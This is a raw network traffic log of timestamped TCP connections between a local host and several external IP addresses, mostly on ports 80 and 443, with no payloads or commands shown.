Sep 1, 2024 05:09:25.462559938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462568998 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462578058 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462579966 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462603092 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462625980 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462657928 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462666988 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462671041 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462680101 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462688923 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462697029 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462702036 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462706089 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462716103 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462722063 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462732077 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462762117 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462841988 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462852001 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462860107 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462868929 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462879896 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462882996 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462899923 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462927103 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.462950945 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462965965 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462975979 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462984085 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.462994099 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.463011980 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.463031054 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.463052988 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.463062048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.463071108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.463078976 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.463090897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.463105917 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.463114977 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.463133097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.463143110 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.463143110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.463170052 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.463179111 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.519078970 CEST	49782	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.519078970 CEST	49781	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.648078918 CEST	443	49783	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:25.648200989 CEST	49783	443	192.168.2.4	184.28.90.27
Sep 1, 2024 05:09:25.666651964 CEST	49781	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.666668892 CEST	443	49781	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.666877031 CEST	49782	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.666887045 CEST	443	49782	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.667062998 CEST	443	49781	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.667211056 CEST	443	49782	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.668472052 CEST	49781	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.668543100 CEST	443	49781	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.669311047 CEST	49784	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:25.669334888 CEST	443	49784	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:25.669513941 CEST	49784	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:25.669965029 CEST	49782	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.670012951 CEST	443	49782	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.671205997 CEST	49784	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:25.671216011 CEST	443	49784	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:25.709789038 CEST	49781	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.709789038 CEST	49782	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.725615025 CEST	49785	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:25.725637913 CEST	443	49785	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:25.726146936 CEST	49785	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:25.726612091 CEST	49785	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:25.726628065 CEST	443	49785	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:25.767985106 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.779850960 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.880789995 CEST	49783	443	192.168.2.4	184.28.90.27
Sep 1, 2024 05:09:25.880820036 CEST	443	49783	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:25.881103039 CEST	443	49783	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:25.884474039 CEST	49783	443	192.168.2.4	184.28.90.27
Sep 1, 2024 05:09:25.928507090 CEST	443	49783	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:25.958235025 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:25.963004112 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:25.983376980 CEST	49780	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:25.983741045 CEST	49786	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:25.988693953 CEST	80	49780	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:25.988708019 CEST	80	49786	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:25.988766909 CEST	49780	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:25.988811016 CEST	49786	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:25.995481014 CEST	49786	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:26.000365019 CEST	80	49786	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:26.057100058 CEST	49787	443	192.168.2.4	142.250.64.68
Sep 1, 2024 05:09:26.057132006 CEST	443	49787	142.250.64.68	192.168.2.4
Sep 1, 2024 05:09:26.057284117 CEST	49787	443	192.168.2.4	142.250.64.68
Sep 1, 2024 05:09:26.058420897 CEST	49787	443	192.168.2.4	142.250.64.68
Sep 1, 2024 05:09:26.058434963 CEST	443	49787	142.250.64.68	192.168.2.4
Sep 1, 2024 05:09:26.069226980 CEST	443	49783	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:26.069284916 CEST	443	49783	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:26.069385052 CEST	49783	443	192.168.2.4	184.28.90.27
Sep 1, 2024 05:09:26.132986069 CEST	443	49784	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.170120955 CEST	49784	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.170140028 CEST	443	49784	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.170528889 CEST	443	49784	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.170597076 CEST	49784	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.171144962 CEST	443	49784	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.171192884 CEST	49784	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.176587105 CEST	49784	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.176640034 CEST	443	49784	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.177042961 CEST	49784	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.177050114 CEST	443	49784	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.180300951 CEST	49783	443	192.168.2.4	184.28.90.27
Sep 1, 2024 05:09:26.180325031 CEST	443	49783	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:26.180387974 CEST	49783	443	192.168.2.4	184.28.90.27
Sep 1, 2024 05:09:26.180393934 CEST	443	49783	184.28.90.27	192.168.2.4
Sep 1, 2024 05:09:26.200814962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.200825930 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.200840950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.200850964 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.200865030 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.200875044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.200886011 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.200892925 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.200953960 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.200969934 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.200978994 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.200988054 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.200998068 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201016903 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.201030016 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.201047897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201056957 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201091051 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.201147079 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201157093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201165915 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201175928 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201185942 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.201186895 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201212883 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.201232910 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.201317072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201327085 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201335907 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201344013 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201353073 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201359987 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.201360941 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201370955 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201375008 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.201405048 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.201498032 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201507092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201515913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201524973 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201534986 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201541901 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.201543093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201554060 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.201579094 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.201643944 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201653957 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201663017 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201672077 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201680899 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201692104 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201694012 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.201705933 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.201719999 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.201756954 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201766968 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201776028 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201797962 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.201812029 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.201833010 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201843023 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201853037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.201879978 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.201894999 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202016115 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202025890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202034950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202043056 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202053070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202060938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202061892 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202069044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202078104 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202089071 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202089071 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202105045 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202125072 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202184916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202194929 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202203989 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202212095 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202227116 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202236891 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202338934 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202348948 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202358007 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202366114 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202374935 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202380896 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202383995 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202394009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202398062 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202403069 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202411890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202420950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202425957 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202451944 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202461958 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202636003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202646017 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202656031 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202665091 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202673912 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202681065 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202683926 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202693939 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202702045 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202703953 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202718019 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202737093 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202806950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202816963 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202826977 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202836037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202843904 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202872038 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202892065 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202902079 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202910900 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.202930927 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.202958107 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.203025103 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203035116 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203042030 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203051090 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203058958 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203063011 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.203068972 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203078032 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203083038 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.203087091 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203097105 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203100920 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.203108072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203128099 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.203151941 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.203361034 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203370094 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203378916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203387022 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203397036 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203401089 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.203404903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203414917 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203416109 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.203447104 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.203655958 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203668118 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203676939 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203685999 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203695059 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203697920 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.203702927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203711987 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203715086 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.203720093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203728914 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203737974 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203739882 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.203747034 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203756094 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203763962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203768015 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.203780890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203788042 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.203792095 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203800917 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.203804016 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.203830957 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.203843117 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.204051971 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.204061985 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.204071045 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.204080105 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.204087973 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.204096079 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.204096079 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.204106092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.204114914 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.204119921 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.204144955 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.204154968 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.212479115 CEST	443	49785	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.223313093 CEST	49785	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.223335981 CEST	443	49785	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.223669052 CEST	443	49785	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.223723888 CEST	49785	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.224298954 CEST	443	49785	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.224348068 CEST	49785	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.224530935 CEST	49785	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.224589109 CEST	443	49785	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.225115061 CEST	49785	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.225121975 CEST	443	49785	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.285670996 CEST	443	49784	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.285737038 CEST	49784	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.286503077 CEST	49784	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.286514997 CEST	443	49784	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.287602901 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.287615061 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.287626028 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.287638903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.287647963 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.287657976 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.287666082 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.287699938 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.287758112 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.287769079 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.287779093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.287790060 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.287812948 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.287827015 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.287863970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.287879944 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.287889957 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.287899971 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.287900925 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.287940979 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288016081 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288027048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288037062 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288047075 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288058996 CEST	80	49742	185.215.113.100	192.168.2.4
